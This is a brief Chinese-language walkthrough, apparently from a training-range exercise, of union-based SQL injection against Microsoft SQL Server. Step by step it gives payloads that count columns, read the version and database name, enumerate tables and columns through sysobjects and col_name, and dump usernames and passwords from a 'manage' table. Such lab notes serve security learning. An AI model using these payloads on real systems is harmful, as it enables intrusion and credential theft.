一.开始
找注入点,判断字段,回显
sysobject 系统表
特性:union all select 联合查询要加all
1 and 1 1 and 1=2
order by 4
-2 union all select '1','2','3','4' from sysobject
二.查看数据库版本;数据库名字
@@version 版本
-2 union all select '1',db_name(),'3','4' 获取库名
sysobjects:记录了数据库中所有表,常⽤字段为id、name和xtype。
syscolumns:记录了数据库中所有表的字段,常⽤字段为id、name和xtype。
查询dbo.sysobjects表中⽤户创建的表,获取其对应的id和name
dbo.sysobjects 系统⾃带库 、xtype='U' 是指⽤户创建的表
-2 union all select '1',(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3','4'
三. 获取meeage对应的ID
-2 union all select '1',id,name,'4' from dbo.sysobjects where xtype='u'
四. 找到第二张表和其对应id;🍕
-2 union all select null,id,name,null from dbo.sysobjects where xtype= 'U' and id <> 5575058
五. 爆数据
object ():数据库中每个对象都有一个唯一的id值,
object_id(name)可以根据表对象名称得到表对象的ID,
object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的
col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果 ————————————————————
-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), '3' ,4
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4
?id=-2 union all select top 1 null,username,password,null from manage
?id=-2 union all select top 2 null,username,password,null from manage